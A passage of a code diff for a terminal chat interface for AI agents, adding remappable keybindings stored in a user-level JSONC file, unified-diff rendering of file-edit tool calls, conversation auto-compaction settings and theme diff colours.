@@ -824,6 +1242,390 @@ function uniqueSkillNamesFromReferences(references) {
824
1242
  return out;
825
1243
  }
826
1244
  //#endregion
1245
+ //#region src/chat/keybindings.ts
1246
+ /**
1247
+ * Keybindings — a single source of truth for the app's global shortcuts.
1248
+ *
1249
+ * Every customizable action is declared once in {@link KEYBINDING_DEFS}
1250
+ * with its default trigger, label, and description. The TUI imports
1251
+ * `DEFAULT_KEYBINDINGS` for the baked-in defaults; on launch we load
1252
+ * `<userDir>/keybindings.json` (when present) and merge user overrides
1253
+ * on top so the user can rebind any action without recompiling.
1254
+ *
1255
+ * Scope (deliberate):
1256
+ *
1257
+ * - We expose only the **global, action-opening** shortcuts here —
1258
+ * "open the Settings modal", "cycle agent profile", "enter
1259
+ * select-turn mode", etc. Modal-internal letter shortcuts (`f`
1260
+ * fork, `d` delete, `c` copy on the turn-details modal) and
1261
+ * universal navigation (`↑/↓/↵/⎋`) stay hardcoded — they live
1262
+ * too close to a renderable's input contract to remap safely.
1263
+ *
1264
+ * - Storage lives at the **user level** (`<userDir>/keybindings.json`),
1265
+ * never inside a project's `.{prefix}/`. Shortcut muscle memory is
1266
+ * a per-user concern, not a per-repo one.
1267
+ *
1268
+ * Format on disk: JSON with `//` and `/* … *\/` comments allowed
1269
+ * (parsed via a small JSONC stripper). Each entry maps an action id
1270
+ * to a binding spec string. Specs are parsed by {@link parseBindingSpec};
1271
+ * unknown / malformed entries fall back to the default for that action
1272
+ * (with a debug log under `ZIDANE_DEBUG`) so a syntax slip never bricks
1273
+ * the TUI.
1274
+ */
1275
+ /**
1276
+ * The canonical action catalog. Order is the source of truth for the
1277
+ * generated keybindings file and the settings UI.
1278
+ */
1279
+ const KEYBINDING_DEFS = [
1280
+ {
1281
+ action: "openSettings",
1282
+ default: "ctrl+o",
1283
+ label: "settings",
1284
+ description: "open the Settings modal (toggles, theme, keybindings)"
1285
+ },
1286
+ {
1287
+ action: "openSessionDetails",
1288
+ default: "ctrl+x",
1289
+ label: "session",
1290
+ description: "open the session details modal (stats, export, delete, rename)"
1291
+ },
1292
+ {
1293
+ action: "openModelPicker",
1294
+ default: "ctrl+m",
1295
+ label: "model",
1296
+ description: "open the cross-provider model picker"
1297
+ },
1298
+ {
1299
+ action: "openEffortPicker",
1300
+ default: "ctrl+l",
1301
+ label: "effort",
1302
+ description: "open the reasoning-effort picker (when the active model supports it)"
1303
+ },
1304
+ {
1305
+ action: "cycleAgent",
1306
+ default: "shift+tab",
1307
+ label: "cycle agent",
1308
+ description: "cycle to the next agent profile (when multiple profiles are registered)"
1309
+ },
1310
+ {
1311
+ action: "enterSelectTurnMode",
1312
+ default: "ctrl+s",
1313
+ label: "messages",
1314
+ description: "enter select-turn mode to navigate previous messages"
1315
+ },
1316
+ {
1317
+ action: "enterQueueSelection",
1318
+ default: "",
1319
+ label: "select queue",
1320
+ description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
1321
+ },
1322
+ {
1323
+ action: "pushQueuedMessage",
1324
+ default: "ctrl+return",
1325
+ label: "push",
1326
+ description: "steer the selected queued message into the live run (delivered between tool calls)"
1327
+ },
1328
+ {
1329
+ action: "dropQueuedMessage",
1330
+ default: "backspace",
1331
+ label: "drop",
1332
+ description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
1333
+ },
1334
+ {
1335
+ action: "turnFork",
1336
+ default: "f",
1337
+ label: "fork",
1338
+ description: "fork the session at the selected turn (two-press confirm)"
1339
+ },
1340
+ {
1341
+ action: "turnDelete",
1342
+ default: "d",
1343
+ label: "delete",
1344
+ description: "delete the selected turn (two-press confirm)"
1345
+ },
1346
+ {
1347
+ action: "turnCopy",
1348
+ default: "c",
1349
+ label: "copy",
1350
+ description: "copy the selected turn content to the clipboard (OSC 52)"
1351
+ },
1352
+ {
1353
+ action: "sessionDelete",
1354
+ default: "d",
1355
+ label: "delete",
1356
+ description: "delete the entire session (two-press confirm)"
1357
+ },
1358
+ {
1359
+ action: "sessionCopyId",
1360
+ default: "c",
1361
+ label: "copy id",
1362
+ description: "copy the full session id to the clipboard (OSC 52)"
1363
+ },
1364
+ {
1365
+ action: "sessionGenerateTitle",
1366
+ default: "g",
1367
+ label: "generate title",
1368
+ description: "generate a title for the session via the active provider/model"
1369
+ },
1370
+ {
1371
+ action: "sessionExportMarkdown",
1372
+ default: "e",
1373
+ label: "export md",
1374
+ description: "export the session as Markdown under .{prefix}/sessions/"
1375
+ },
1376
+ {
1377
+ action: "sessionExportJson",
1378
+ default: "j",
1379
+ label: "export json",
1380
+ description: "export the session as JSON under .{prefix}/sessions/"
1381
+ },
1382
+ {
1383
+ action: "sessionCompact",
1384
+ default: "k",
1385
+ label: "compact",
1386
+ description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
1387
+ }
1388
+ ];
1389
+ /** Index by action for O(1) lookup of label / description / default. */
1390
+ const KEYBINDING_DEF_BY_ACTION = KEYBINDING_DEFS.reduce((acc, def) => Object.assign(acc, { [def.action]: def }), {});
1391
+ /** Defaults, derived from {@link KEYBINDING_DEFS} so the two never drift. */
1392
+ const DEFAULT_KEYBINDINGS = KEYBINDING_DEFS.reduce((acc, def) => Object.assign(acc, { [def.action]: def.default }), {});
1393
+ /**
1394
+ * Aliases the parser accepts on input so the on-disk format can be
1395
+ * forgiving (different terminals + docs label modifiers + keys
1396
+ * differently). Output names are canonicalized to one form per key so
1397
+ * `matchesBinding` only has to compare one canonical against a
1398
+ * KeyEvent's `name`. Unknown names pass through verbatim — that's
1399
+ * useful for terminal-specific keys we don't have to enumerate.
1400
+ */
1401
+ const NAME_ALIASES = {
1402
+ esc: "escape",
1403
+ enter: "return",
1404
+ ret: "return",
1405
+ space: "space",
1406
+ spc: "space",
1407
+ del: "delete",
1408
+ ins: "insert",
1409
+ pgup: "pageup",
1410
+ pgdn: "pagedown",
1411
+ pagup: "pageup",
1412
+ pagedn: "pagedown"
1413
+ };
1414
+ const MODIFIER_ALIASES = {
1415
+ ctrl: "ctrl",
1416
+ control: "ctrl",
1417
+ shift: "shift",
1418
+ alt: "alt",
1419
+ option: "alt",
1420
+ opt: "alt",
1421
+ meta: "meta",
1422
+ cmd: "meta",
1423
+ command: "meta",
1424
+ super: "meta",
1425
+ win: "meta"
1426
+ };
1427
+ /**
1428
+ * Parse a `'ctrl+shift+o'`-style spec into structured fields. Returns
1429
+ * `null` for empty / malformed inputs; the caller falls back to the
1430
+ * default for that action.
1431
+ *
1432
+ * Tolerant by design:
1433
+ * - Case-insensitive (`Ctrl+O` → same as `ctrl+o`).
1434
+ * - Modifier order doesn't matter (`shift+ctrl+o` works).
1435
+ * - Mixed `+` and `-` separators allowed (`ctrl-o`, `ctrl+o`).
1436
+ * - Trailing / leading whitespace is stripped.
1437
+ * - Duplicate modifiers collapse silently.
1438
+ */
1439
+ function parseBindingSpec(spec) {
1440
+ if (typeof spec !== "string") return null;
1441
+ const trimmed = spec.trim().toLowerCase();
1442
+ if (!trimmed) return null;
1443
+ const parts = trimmed.split(/[+\-]/).map((p) => p.trim()).filter(Boolean);
1444
+ if (parts.length === 0) return null;
1445
+ const result = {
1446
+ ctrl: false,
1447
+ shift: false,
1448
+ alt: false,
1449
+ meta: false,
1450
+ name: ""
1451
+ };
1452
+ for (const part of parts) {
1453
+ const modifier = MODIFIER_ALIASES[part];
1454
+ if (modifier) {
1455
+ result[modifier] = true;
1456
+ continue;
1457
+ }
1458
+ if (result.name) return null;
1459
+ result.name = NAME_ALIASES[part] ?? part;
1460
+ }
1461
+ if (!result.name) return null;
1462
+ return result;
1463
+ }
1464
+ /**
1465
+ * Test a KeyEvent against a parsed-or-string binding. Accepts either
1466
+ * form so callers can pre-parse (hot path) or pass the raw spec for
1467
+ * one-off checks.
1468
+ *
1469
+ * Modifier semantics: ALL declared modifiers must be pressed AND no
1470
+ * extra modifiers may be pressed. So `'o'` does NOT match `ctrl+o`,
1471
+ * and `'ctrl+o'` does NOT match `ctrl+shift+o`. This avoids surprises
1472
+ * where a binding that should be specific accidentally fires for a
1473
+ * superset of key combinations.
1474
+ */
1475
+ function matchesBinding(event, spec) {
1476
+ const parsed = typeof spec === "string" ? parseBindingSpec(spec) : spec;
1477
+ if (!parsed) return false;
1478
+ const altPressed = !!event.option || !!event.alt;
1479
+ if (parsed.ctrl !== !!event.ctrl) return false;
1480
+ if (parsed.shift !== !!event.shift) return false;
1481
+ if (parsed.alt !== altPressed) return false;
1482
+ if (parsed.meta !== !!event.meta) return false;
1483
+ if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
1484
+ return true;
1485
+ }
1486
+ /**
1487
+ * Merge a partial map of user overrides into the defaults. Unknown
1488
+ * action keys are dropped (a future TUI version may have retired the
1489
+ * action); invalid spec strings (parse fails) fall back to the default
1490
+ * for that action.
1491
+ */
1492
+ function mergeKeybindings(overrides) {
1493
+ if (!overrides || typeof overrides !== "object") return { ...DEFAULT_KEYBINDINGS };
1494
+ const merged = { ...DEFAULT_KEYBINDINGS };
1495
+ for (const def of KEYBINDING_DEFS) {
1496
+ const raw = overrides[def.action];
1497
+ if (typeof raw !== "string") continue;
1498
+ if (!parseBindingSpec(raw)) continue;
1499
+ merged[def.action] = raw;
1500
+ }
1501
+ return merged;
1502
+ }
1503
+ /** Path of the user-level keybindings file. */
1504
+ function keybindingsPath(userDir) {
1505
+ return resolve(userDir, "keybindings.json");
1506
+ }
1507
+ /**
1508
+ * Load + merge the user's keybindings file (when present). Always
1509
+ * returns a fully-resolved {@link KeyBindings} — defaults fill in for
1510
+ * any missing / invalid entries so consumers can treat the result as
1511
+ * total.
1512
+ *
1513
+ * Failure modes (all tolerated, all fall back to defaults):
1514
+ * - File missing
1515
+ * - File not valid JSON / JSONC (after comment stripping)
1516
+ * - Top-level is not an object
1517
+ * - Individual entries have invalid spec strings
1518
+ */
1519
+ function readKeybindings(userDir) {
1520
+ const path = keybindingsPath(userDir);
1521
+ if (!existsSync(path)) return { ...DEFAULT_KEYBINDINGS };
1522
+ try {
1523
+ const raw = readFileSync(path, "utf-8");
1524
+ const parsed = JSON.parse(stripJsonComments(raw));
1525
+ if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return { ...DEFAULT_KEYBINDINGS };
1526
+ return mergeKeybindings(parsed);
1527
+ } catch {
1528
+ return { ...DEFAULT_KEYBINDINGS };
1529
+ }
1530
+ }
1531
+ /**
1532
+ * Create the user-level `keybindings.json` if it doesn't exist,
1533
+ * prefilled with every default. Returns the absolute file path either
1534
+ * way so the caller can open it in `$EDITOR`. Idempotent: an existing
1535
+ * user file is NEVER overwritten — the user's customizations are
1536
+ * sacred.
1537
+ */
1538
+ function ensureKeybindingsFile(userDir) {
1539
+ const path = keybindingsPath(userDir);
1540
+ if (existsSync(path)) return path;
1541
+ ensureDir$1(path);
1542
+ const body = renderDefaultFile();
1543
+ const tmp = `${path}.${process.pid}.tmp`;
1544
+ writeFileSync(tmp, body);
1545
+ renameSync(tmp, path);
1546
+ return path;
1547
+ }
1548
+ /**
1549
+ * Render the default `keybindings.json` body. JSONC with a header
1550
+ * explaining the format + per-action comments derived from
1551
+ * {@link KEYBINDING_DEFS}'s descriptions. The user sees the catalog +
1552
+ * defaults at a glance the moment they open the file.
1553
+ */
1554
+ function renderDefaultFile() {
1555
+ const lines = [];
1556
+ lines.push("// Zidane keybindings — edit values below to customize.");
1557
+ lines.push("//");
1558
+ lines.push("// Format:");
1559
+ lines.push("// \"<action>\": \"<modifier>+<modifier>+<key>\"");
1560
+ lines.push("//");
1561
+ lines.push("// Modifiers: ctrl, shift, alt (option), meta (cmd).");
1562
+ lines.push("// Keys: a-z, 0-9, tab, return, escape, space, delete, …");
1563
+ lines.push("//");
1564
+ lines.push("// Comments (`//` line, `/* block */`) are stripped before parsing.");
1565
+ lines.push("// Restart the TUI to apply changes.");
1566
+ lines.push("{");
1567
+ KEYBINDING_DEFS.forEach((def, i) => {
1568
+ const trailingComma = i < KEYBINDING_DEFS.length - 1 ? "," : "";
1569
+ lines.push(` // ${def.description}`);
1570
+ lines.push(` ${JSON.stringify(def.action)}: ${JSON.stringify(def.default)}${trailingComma}`);
1571
+ });
1572
+ lines.push("}");
1573
+ lines.push("");
1574
+ return lines.join("\n");
1575
+ }
1576
+ function ensureDir$1(path) {
1577
+ const dir = dirname(path);
1578
+ if (!existsSync(dir)) mkdirSync(dir, { recursive: true });
1579
+ }
1580
+ /**
1581
+ * Strip `//` line comments and `/* … *\/` block comments from a JSONC
1582
+ * source string. Stays out of string literals so a `"foo // bar"` value
1583
+ * keeps its slashes. Exported for unit-tests; the only runtime caller
1584
+ * is {@link readKeybindings}.
1585
+ *
1586
+ * Trade-off: this is a tiny state-machine, not a full JSONC parser. It
1587
+ * doesn't understand `\\` outside strings (irrelevant for JSON) and
1588
+ * doesn't track line numbers in error messages. Good enough for a
1589
+ * config file — corruption in production gracefully falls back to the
1590
+ * defaults via the try/catch in `readKeybindings`.
1591
+ */
1592
+ function stripJsonComments(input) {
1593
+ let out = "";
1594
+ let i = 0;
1595
+ let inString = false;
1596
+ let escape = false;
1597
+ while (i < input.length) {
1598
+ const c = input[i];
1599
+ if (inString) {
1600
+ out += c;
1601
+ if (escape) escape = false;
1602
+ else if (c === "\\") escape = true;
1603
+ else if (c === "\"") inString = false;
1604
+ i++;
1605
+ continue;
1606
+ }
1607
+ if (c === "\"") {
1608
+ inString = true;
1609
+ out += c;
1610
+ i++;
1611
+ continue;
1612
+ }
1613
+ if (c === "/" && input[i + 1] === "/") {
1614
+ while (i < input.length && input[i] !== "\n") i++;
1615
+ continue;
1616
+ }
1617
+ if (c === "/" && input[i + 1] === "*") {
1618
+ i += 2;
1619
+ while (i < input.length && !(input[i] === "*" && input[i + 1] === "/")) i++;
1620
+ i += 2;
1621
+ continue;
1622
+ }
1623
+ out += c;
1624
+ i++;
1625
+ }
1626
+ return out;
1627
+ }
1628
+ //#endregion
827
1629
  //#region src/chat/project-root.ts
828
1630
  /**
829
1631
  * Git root detection — walks parents from `cwd` looking for a `.git`
@@ -880,6 +1682,230 @@ function hasGitMarker(dir) {
880
1682
  }
881
1683
  }
882
1684
  //#endregion
1685
+ //#region src/chat/edit-diff.ts
1686
+ function extractEditPayload(name, input, priorContent) {
1687
+ const path = input.path;
1688
+ if (typeof path !== "string" || path === "") return void 0;
1689
+ if (name === "edit") {
1690
+ const oldString = input.old_string;
1691
+ const newString = input.new_string;
1692
+ if (typeof oldString !== "string" || typeof newString !== "string") return void 0;
1693
+ return {
1694
+ tool: "edit",
1695
+ path,
1696
+ hunks: [{
1697
+ oldString,
1698
+ newString,
1699
+ ...input.replace_all === true ? { replaceAll: true } : {}
1700
+ }]
1701
+ };
1702
+ }
1703
+ if (name === "multi_edit") {
1704
+ const steps = input.edits;
1705
+ if (!Array.isArray(steps) || steps.length === 0) return void 0;
1706
+ const hunks = [];
1707
+ for (const raw of steps) {
1708
+ if (typeof raw?.old_string !== "string" || typeof raw?.new_string !== "string") return void 0;
1709
+ hunks.push({
1710
+ oldString: raw.old_string,
1711
+ newString: raw.new_string,
1712
+ ...raw.replace_all === true ? { replaceAll: true } : {}
1713
+ });
1714
+ }
1715
+ return {
1716
+ tool: "multi_edit",
1717
+ path,
1718
+ hunks
1719
+ };
1720
+ }
1721
+ if (name === "write_file") {
1722
+ const content = input.content;
1723
+ if (typeof content !== "string") return void 0;
1724
+ return {
1725
+ tool: "write_file",
1726
+ path,
1727
+ hunks: [{
1728
+ oldString: priorContent ?? "",
1729
+ newString: content
1730
+ }]
1731
+ };
1732
+ }
1733
+ }
1734
+ function computeLineDiff(oldString, newString) {
1735
+ const oldLines = splitLines(oldString);
1736
+ const newLines = splitLines(newString);
1737
+ const n = oldLines.length;
1738
+ const m = newLines.length;
1739
+ const lcs = Array.from({ length: n + 1 }, () => Array.from({ length: m + 1 }).fill(0));
1740
+ for (let i = 0; i < n; i++) for (let j = 0; j < m; j++) lcs[i + 1][j + 1] = oldLines[i] === newLines[j] ? lcs[i][j] + 1 : Math.max(lcs[i][j + 1], lcs[i + 1][j]);
1741
+ const out = [];
1742
+ let i = n;
1743
+ let j = m;
1744
+ while (i > 0 || j > 0) {
1745
+ if (i > 0 && j > 0 && oldLines[i - 1] === newLines[j - 1]) {
1746
+ out.push({
1747
+ op: "context",
1748
+ text: oldLines[i - 1]
1749
+ });
1750
+ i--;
1751
+ j--;
1752
+ continue;
1753
+ }
1754
+ if (j > 0 && (i === 0 || lcs[i][j - 1] >= lcs[i - 1][j])) {
1755
+ out.push({
1756
+ op: "add",
1757
+ text: newLines[j - 1]
1758
+ });
1759
+ j--;
1760
+ continue;
1761
+ }
1762
+ out.push({
1763
+ op: "remove",
1764
+ text: oldLines[i - 1]
1765
+ });
1766
+ i--;
1767
+ }
1768
+ out.reverse();
1769
+ return out;
1770
+ }
1771
+ /**
1772
+ * Split a string into lines preserving empty lines but dropping the
1773
+ * implicit trailing `""` produced by a final `\n`. Exported only for
1774
+ * its tests — callers should use `computeLineDiff`.
1775
+ */
1776
+ function splitLines(s) {
1777
+ if (s === "") return [];
1778
+ const parts = s.split("\n");
1779
+ if (parts[parts.length - 1] === "") parts.pop();
1780
+ return parts;
1781
+ }
1782
+ function computeInlineDiff(oldLine, newLine) {
1783
+ const oldTokens = tokenize(oldLine);
1784
+ const newTokens = tokenize(newLine);
1785
+ const n = oldTokens.length;
1786
+ const m = newTokens.length;
1787
+ const lcs = Array.from({ length: n + 1 }, () => Array.from({ length: m + 1 }).fill(0));
1788
+ for (let i = 0; i < n; i++) for (let j = 0; j < m; j++) lcs[i + 1][j + 1] = oldTokens[i] === newTokens[j] ? lcs[i][j] + 1 : Math.max(lcs[i][j + 1], lcs[i + 1][j]);
1789
+ const oldSegments = [];
1790
+ const newSegments = [];
1791
+ let i = n;
1792
+ let j = m;
1793
+ while (i > 0 || j > 0) {
1794
+ if (i > 0 && j > 0 && oldTokens[i - 1] === newTokens[j - 1]) {
1795
+ pushSegment(oldSegments, {
1796
+ text: oldTokens[i - 1],
1797
+ changed: false
1798
+ });
1799
+ pushSegment(newSegments, {
1800
+ text: newTokens[j - 1],
1801
+ changed: false
1802
+ });
1803
+ i--;
1804
+ j--;
1805
+ continue;
1806
+ }
1807
+ if (j > 0 && (i === 0 || lcs[i][j - 1] >= lcs[i - 1][j])) {
1808
+ pushSegment(newSegments, {
1809
+ text: newTokens[j - 1],
1810
+ changed: true
1811
+ });
1812
+ j--;
1813
+ continue;
1814
+ }
1815
+ pushSegment(oldSegments, {
1816
+ text: oldTokens[i - 1],
1817
+ changed: true
1818
+ });
1819
+ i--;
1820
+ }
1821
+ oldSegments.reverse();
1822
+ newSegments.reverse();
1823
+ return {
1824
+ oldSegments,
1825
+ newSegments
1826
+ };
1827
+ }
1828
+ /**
1829
+ * Coalesce adjacent same-state segments so the renderer emits one
1830
+ * `<span>` per run instead of one per token — keeps the React tree
1831
+ * shallow on dense lines without changing the visual output.
1832
+ *
1833
+ * Walking direction is reverse (we push during the reverse walk, then
1834
+ * the caller reverses the array), so we coalesce against the *tail*.
1835
+ */
1836
+ function pushSegment(buf, seg) {
1837
+ const tail = buf[buf.length - 1];
1838
+ if (tail && tail.changed === seg.changed) tail.text = seg.text + tail.text;
1839
+ else buf.push(seg);
1840
+ }
1841
+ /**
1842
+ * Tokenize on word / non-word boundaries. Each run of `\w+` is one
1843
+ * token; each run of `\W+` (whitespace, punctuation) is another. This
1844
+ * gives the right granularity for renames (`oldName` → `newName`) and
1845
+ * for symbol swaps (`+ → -`) without exploding into per-char segments.
1846
+ *
1847
+ * Exported only for its tests.
1848
+ */
1849
+ function tokenize(s) {
1850
+ if (s === "") return [];
1851
+ const out = [];
1852
+ const re = /\w+|\W+/g;
1853
+ let match;
1854
+ while ((match = re.exec(s)) !== null) out.push(match[0]);
1855
+ return out;
1856
+ }
1857
+ function buildUnifiedDiff(payload) {
1858
+ const parts = [];
1859
+ const isNewFile = payload.tool === "write_file" && payload.hunks[0]?.oldString === "";
1860
+ parts.push(isNewFile ? `--- /dev/null` : `--- a/${payload.path}`);
1861
+ parts.push(`+++ b/${payload.path}`);
1862
+ for (const hunk of payload.hunks) {
1863
+ const lines = computeLineDiff(hunk.oldString, hunk.newString);
1864
+ const oldCount = lines.filter((l) => l.op !== "add").length;
1865
+ const newCount = lines.filter((l) => l.op !== "remove").length;
1866
+ const oldStart = oldCount === 0 ? 0 : 1;
1867
+ const newStart = newCount === 0 ? 0 : 1;
1868
+ parts.push(`@@ -${oldStart},${oldCount} +${newStart},${newCount} @@`);
1869
+ for (const line of lines) {
1870
+ const prefix = line.op === "add" ? "+" : line.op === "remove" ? "-" : " ";
1871
+ parts.push(`${prefix}${line.text}`);
1872
+ }
1873
+ }
1874
+ return `${parts.join("\n")}\n`;
1875
+ }
1876
+ const FILETYPE_BY_EXT = {
1877
+ ts: "typescript",
1878
+ mts: "typescript",
1879
+ cts: "typescript",
1880
+ tsx: "tsx",
1881
+ js: "javascript",
1882
+ mjs: "javascript",
1883
+ cjs: "javascript",
1884
+ jsx: "jsx",
1885
+ py: "python",
1886
+ pyi: "python",
1887
+ rs: "rust",
1888
+ go: "go",
1889
+ json: "json",
1890
+ jsonc: "json",
1891
+ sh: "bash",
1892
+ bash: "bash",
1893
+ zsh: "bash",
1894
+ yaml: "yaml",
1895
+ yml: "yaml",
1896
+ html: "html",
1897
+ htm: "html",
1898
+ css: "css",
1899
+ md: "markdown",
1900
+ markdown: "markdown"
1901
+ };
1902
+ function filetypeFromPath(path) {
1903
+ const cleaned = path.split(/[?#]/, 1)[0];
1904
+ const lastDot = cleaned.lastIndexOf(".");
1905
+ if (lastDot === -1 || lastDot === cleaned.length - 1) return void 0;
1906
+ return FILETYPE_BY_EXT[cleaned.slice(lastDot + 1).toLowerCase()];
1907
+ }
1908
+ //#endregion
883
1909
  //#region src/chat/store.ts
884
1910
  function ensureStateDir(path) {
885
1911
  const dir = dirname(path);
@@ -1084,7 +2110,20 @@ function eventsFromTurns(turns, runs = []) {
1084
2110
  ...tool ? { tool } : {},
1085
2111
  ...tag
1086
2112
  });
1087
- }
2113
+ } else if (block.type === "compact-summary") events.push({
2114
+ kind: "compact-summary",
2115
+ text: block.summary,
2116
+ compact: {
2117
+ replacedCount: block.replacesTurnIds.length,
2118
+ model: block.model,
2119
+ compactedAt: block.compactedAt,
2120
+ inputTokens: block.usage.input ?? 0,
2121
+ outputTokens: block.usage.output ?? 0,
2122
+ cacheReadTokens: block.usage.cacheRead ?? 0,
2123
+ cacheCreationTokens: block.usage.cacheCreation ?? 0
2124
+ },
2125
+ turnId: turn.id
2126
+ });
1088
2127
  lastDepthAtEmission = depth;
1089
2128
  continue;
1090
2129
  }
@@ -1095,12 +2134,17 @@ function eventsFromTurns(turns, runs = []) {
1095
2134
  streaming: false,
1096
2135
  ...tag
1097
2136
  });
1098
- else if (block.type === "tool_call") events.push({
1099
- kind: "tool",
1100
- text: toolCallPreview(block.name, block.input),
1101
- tool: block.name,
1102
- ...tag
1103
- });
2137
+ else if (block.type === "tool_call") {
2138
+ const edit = extractEditPayload(block.name, block.input);
2139
+ events.push({
2140
+ kind: "tool",
2141
+ text: toolCallPreview(block.name, block.input),
2142
+ tool: block.name,
2143
+ input: block.input,
2144
+ ...edit ? { edit } : {},
2145
+ ...tag
2146
+ });
2147
+ }
1104
2148
  lastDepthAtEmission = depth;
1105
2149
  }
1106
2150
  }
@@ -1252,6 +2296,7 @@ function resolveConfig(options) {
1252
2296
  const initialPicked = resumeProvider ? pickInitial(resumeProvider, providers, initialState) : null;
1253
2297
  const initialAgentId = resolveAgentId(agents, initialState.lastAgent, options.defaultAgent ?? "build");
1254
2298
  if (!initialAgentId) throw new Error("resolveConfig: failed to resolve an initial agent id from a non-empty registry.");
2299
+ const keybindings = readKeybindings(paths.userDir);
1255
2300
  return {
1256
2301
  prefix,
1257
2302
  storageDir,
@@ -1263,9 +2308,10 @@ function resolveConfig(options) {
1263
2308
  stateStore,
1264
2309
  modelsFor,
1265
2310
  initialState,
1266
- initialSettings: initialState.settings ?? {},
2311
+ initialSettings: migrateLegacySettings(initialState.settings ?? {}),
1267
2312
  resumeProvider,
1268
- initialPicked
2313
+ initialPicked,
2314
+ keybindings
1269
2315
  };
1270
2316
  }
1271
2317
  /**
@@ -1323,6 +2369,35 @@ function userOnlyPaths(userDir) {
1323
2369
  state: resolve(userDir, "state.json")
1324
2370
  };
1325
2371
  }
2372
+ /**
2373
+ * Migrate legacy `state.json` settings shapes forward. Pre-5.x persisted
2374
+ * `showToolCalls: boolean` controlled whether `↳ <tool>` lines rendered;
2375
+ * 5.x replaces that with a 3-way `toolCallDisplay: 'hidden' | 'formatted'
2376
+ * | 'full'` choice that adds a per-tool clean summary and a JSON debug
2377
+ * view alongside the existing "show / hide" behavior.
2378
+ *
2379
+ * Mapping (only when the new key is absent — never overwrite a user's
2380
+ * explicit modern choice):
2381
+ *
2382
+ * showToolCalls: true → toolCallDisplay: 'formatted'
2383
+ * showToolCalls: false → toolCallDisplay: 'hidden'
2384
+ *
2385
+ * The legacy key is dropped from the returned object so the in-memory
2386
+ * Settings shape stays clean; persisted state still carries it until
2387
+ * the next save overwrites the file, which is harmless (extra fields
2388
+ * round-trip through JSON without consequence).
2389
+ */
2390
+ function migrateLegacySettings(loaded) {
2391
+ if ("showToolCalls" in loaded && !("toolCallDisplay" in loaded)) {
2392
+ const legacy = loaded.showToolCalls;
2393
+ const { showToolCalls: _, ...rest } = loaded;
2394
+ return {
2395
+ ...rest,
2396
+ toolCallDisplay: legacy === false ? "hidden" : "formatted"
2397
+ };
2398
+ }
2399
+ return loaded;
2400
+ }
1326
2401
  /** Tri-state parse for env-var bools — explicit `null` keeps absence from forcing a default. */
1327
2402
  function parseEnvFlag(raw) {
1328
2403
  if (raw === void 0) return void 0;
@@ -1541,7 +2616,15 @@ function catppuccinTheme(id, label, p) {
1541
2616
  fg: p.base
1542
2617
  }
1543
2618
  },
1544
- selection: p.surface0
2619
+ selection: p.surface0,
2620
+ diff: {
2621
+ addBg: p.surface0,
2622
+ removeBg: p.surface0,
2623
+ addContentBg: p.surface1,
2624
+ removeContentBg: p.surface1,
2625
+ addFg: p.green,
2626
+ removeFg: p.red
2627
+ }
1545
2628
  },
1546
2629
  syntax: {
1547
2630
  "default": { fg: p.text },
@@ -1706,7 +2789,15 @@ const VAPORWAVE_THEME = {
1706
2789
  fg: PALETTE.panel
1707
2790
  }
1708
2791
  },
1709
- selection: PALETTE.surface
2792
+ selection: PALETTE.surface,
2793
+ diff: {
2794
+ addBg: "#1a3528",
2795
+ removeBg: "#3a1a23",
2796
+ addContentBg: "#234c39",
2797
+ removeContentBg: "#52232f",
2798
+ addFg: PALETTE.greenBright,
2799
+ removeFg: PALETTE.red
2800
+ }
1710
2801
  },
1711
2802
  syntax: {
1712
2803
  "default": { fg: PALETTE.text },
@@ -1869,7 +2960,15 @@ const DEFAULT_THEME = {
1869
2960
  fg: "#122f59"
1870
2961
  }
1871
2962
  },
1872
- selection: "#142737"
2963
+ selection: "#142737",
2964
+ diff: {
2965
+ addBg: "#0e2218",
2966
+ removeBg: "#2a1414",
2967
+ addContentBg: "#143728",
2968
+ removeContentBg: "#3d1d1d",
2969
+ addFg: "#22c55e",
2970
+ removeFg: "#ef4444"
2971
+ }
1873
2972
  },
1874
2973
  syntax: {
1875
2974
  "default": { fg: "#fefeff" },
@@ -1989,12 +3088,17 @@ function resolveTheme(id) {
1989
3088
  //#region src/chat/settings-context.tsx
1990
3089
  const DEFAULT_SETTINGS = {
1991
3090
  showThinking: true,
1992
- showToolCalls: true,
3091
+ toolCallDisplay: "formatted",
1993
3092
  showToolResults: true,
1994
3093
  safeMode: true,
1995
3094
  hideSubagentOutput: true,
1996
3095
  theme: DEFAULT_THEME.id,
1997
- showAllProjects: false
3096
+ showAllProjects: false,
3097
+ resumeLastSession: true,
3098
+ persistToolResults: true,
3099
+ autoCompact: true,
3100
+ autoCompactThreshold: .8,
3101
+ showEditDiffs: true
1998
3102
  };
1999
3103
  const SettingsContext = createContext(null);
2000
3104
  function SettingsProvider({ initial, onChange, children }) {
@@ -2046,11 +3150,26 @@ const SETTINGS_TOGGLES = [
2046
3150
  label: "Safe mode",
2047
3151
  description: "prompt before each tool call (unless safelisted)"
2048
3152
  },
3153
+ {
3154
+ key: "resumeLastSession",
3155
+ label: "Start from last session",
3156
+ description: "auto-resume on launch (off = sessions list / fresh chat)"
3157
+ },
2049
3158
  {
2050
3159
  key: "hideSubagentOutput",
2051
3160
  label: "Hide subagent output",
2052
3161
  description: "collapse subagent runs to start/done markers"
2053
3162
  },
3163
+ {
3164
+ key: "persistToolResults",
3165
+ label: "Persist large tool results",
3166
+ description: "write >8 KiB tool outputs to disk and inline a preview"
3167
+ },
3168
+ {
3169
+ key: "autoCompact",
3170
+ label: "Auto-compact",
3171
+ description: "summarize the conversation when context fills past the threshold below"
3172
+ },
2054
3173
  {
2055
3174
  key: "showAllProjects",
2056
3175
  label: "All projects",
@@ -2062,25 +3181,69 @@ const SETTINGS_TOGGLES = [
2062
3181
  description: "agent reasoning shown inline"
2063
3182
  },
2064
3183
  {
2065
- key: "showToolCalls",
2066
- label: "Tool calls",
2067
- description: "the name(args) lines"
3184
+ key: "showToolResults",
3185
+ label: "Tool outputs",
3186
+ description: "the result blocks under tool calls"
3187
+ },
3188
+ {
3189
+ key: "showEditDiffs",
3190
+ label: "Edit diffs",
3191
+ description: "render edit / multi_edit / write_file as a unified diff"
3192
+ }
3193
+ ];
3194
+ const SETTINGS_CHOICES = [
3195
+ {
3196
+ key: "toolCallDisplay",
